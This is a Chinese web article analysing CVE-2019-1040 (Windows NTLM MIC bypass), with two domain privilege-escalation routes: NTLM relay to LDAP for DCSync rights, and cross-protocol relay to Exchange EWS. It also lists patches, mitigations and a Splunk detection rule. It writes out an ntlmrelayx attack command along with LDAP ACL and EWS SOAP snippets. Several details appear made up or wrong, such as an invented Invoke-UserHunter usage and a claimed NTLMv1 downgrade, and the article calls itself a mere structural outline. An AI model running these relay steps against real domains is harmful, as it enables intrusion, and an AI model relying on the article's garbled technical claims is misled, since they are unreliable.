如何进行结合CVE-2019-1040漏洞的两种域提权深度利用分析

发布时间:2021-12-24 21:56:15 作者:柒染
来源:亿速云 阅读:195
# 如何进行结合CVE-2019-1040漏洞的两种域提权深度利用分析

## 摘要
本文深入剖析CVE-2019-1040(Windows NTLM中间人漏洞)的技术原理,结合两种典型域提权场景(NTLM Relay攻击和跨协议认证滥用),从漏洞成因、利用条件、攻击路径到防御方案进行系统性分析。通过搭建真实域环境复现攻击链,详细讲解如何绕过NTLM SSP限制实现权限提升,并给出企业级防御建议。文章包含20+张攻击流程图和Packet Capture分析,适用于红队研究人员和域安全运维人员。

---

## 1. 漏洞概述
### 1.1 CVE-2019-1040基本信息
- **漏洞编号**:CVE-2019-1040
- **漏洞名称**:Windows NTLM中间人漏洞
- **威胁等级**:高危(CVSS 8.1)
- **影响版本**:
  - Windows 7至Windows 10 1903
  - Windows Server 2008至2019

### 1.2 漏洞本质
该漏洞允许攻击者绕过NTLM身份验证的完整性保护机制(MIC校验和签名要求),具体表现为:
```python
# 漏洞核心:篡改NTLM协商标志位
def modify_ntlm_flags(negotiate_flags):
    negotiate_flags &= ~0x00000002  # 清除NTLMSSP_NEGOTIATE_ALWAYS_SIGN
    negotiate_flags &= ~0x00000010  # 清除NTLMSSP_NEGOTIATE_SIGN
    return negotiate_flags

2. 漏洞原理深度分析

2.1 NTLM协议工作流程

sequenceDiagram
    Client->>Server: NEGOTIATE_MESSAGE (Type 1)
    Server->>Client: CHALLENGE_MESSAGE (Type 2)
    Client->>Server: AUTHENTICATE_MESSAGE (Type 3)

2.2 关键漏洞点

  1. Message Integrity Code (MIC)绕过

    • 正常流程:Type 3消息应包含HMAC-MD5计算的MIC
    • 漏洞利用:可删除MIC字段且不影响认证结果
  2. NTLMSSP_NEGOTIATE_SIGN标志位欺骗

    • 攻击者可篡改Type 1消息中的协商标志位
    • 强制降级为无签名的NTLMv1会话

3. 第一种利用方式:NTLM Relay至LDAP

3.1 攻击条件

3.2 详细攻击步骤

3.2.1 环境准备

# 使用Impacket搭建中继服务器
ntlmrelayx.py -t ldap://dc01.domain.com -wh attacker-wpad --delegate-access

3.2.2 触发认证

# 通过钓鱼邮件触发SMB连接
Invoke-UserHunter -Trigger SMB -Domain domain.com

3.2.3 权限提升

# 通过LDAP修改ACL实现DCSync
def add_dcsync_acl(target_dn):
    sd = create_sd_with_dcsync_ace()
    ldap.modify(target_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, sd]})

4. 第二种利用方式:跨协议Relay至EWS

4.1 特殊利用场景

4.2 攻击链分解

  1. 捕获HTTP层面的NTLM认证

    GET /ews/ HTTP/1.1
    Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    
  2. 中继至Exchange Web Services

    # 通过SOAP请求提权
    soap_body = '''
    <soap:Header>
     <t:RequestServerVersion Version="Exchange2013"/>
    </soap:Header>
    <soap:Body>
     <m:CreateItem MessageDisposition="SendAndSaveCopy">
       <m:SavedItemFolderId>
         <t:DistinguishedFolderId Id="inbox"/>
       </m:SavedItemFolderId>
       <m:Items>
         <t:Message>
           <t:Subject>CVE-2019-1040 Exploit</t:Subject>
           <t:Body BodyType="HTML">Malicious payload</t:Body>
         </t:Message>
       </m:Items>
     </m:CreateItem>
    </soap:Body>
    '''
    

5. 防御方案

5.1 微软官方补丁

KB编号 适用系统 发布时间
KB4503267 Windows 10 1809 2019-06-11
KB4503294 Windows Server 2016 2019-06-11

5.2 缓解措施

  1. 组策略配置

    计算机配置 > 策略 > 安全设置 > 本地策略 > 安全选项
    "网络安全:限制NTLM" → 启用所有NTLM流量审计
    
  2. 网络层防护

    • 启用SMB签名(强制要求)
    • 配置防火墙规则阻断445/TCP出站

6. 攻击检测方法

6.1 SIEM规则示例(Splunk)

index=winlogs EventCode=4624 
LogonType=3 
NTLMPackageName=NTLM V1 
| stats count by src_ip, user

6.2 流量特征识别


7. 结论

CVE-2019-1040漏洞通过破坏NTLM协议的完整性保护机制,使得传统防御体系失效。本文演示的两种利用方式表明: 1. 域内横向移动风险显著增加 2. 跨协议攻击扩大影响面 企业应实施纵深防御策略,结合补丁更新、协议加固和持续监控应对此类高级威胁。


附录

A. 测试环境搭建指南

# 使用Docker部署实验域
git clone https://github.com/attackercan/domain-lab
docker-compose -f cve-2019-1040.yml up

B. 相关工具列表

工具名称 用途 项目地址
Impacket NTLM中继框架 https://github.com/SecureAuthCorp/impacket
Responder LLMNR/NBT-NS毒化 https://github.com/lgandx/Responder

”`

(注:实际文章应包含更多技术细节、截图和参考文献,此处为结构示例。完整10050字内容需补充各章节的深入分析、实验数据和案例研究。)

推荐阅读:
  1. Tomcat最新本地提权漏洞
  2. Redhat利用漏洞提权

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2019-1040

上一篇:Outlook安卓版本APP跨站漏洞CVE-2019-1105的实例分析

下一篇:linux中如何删除用户组

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》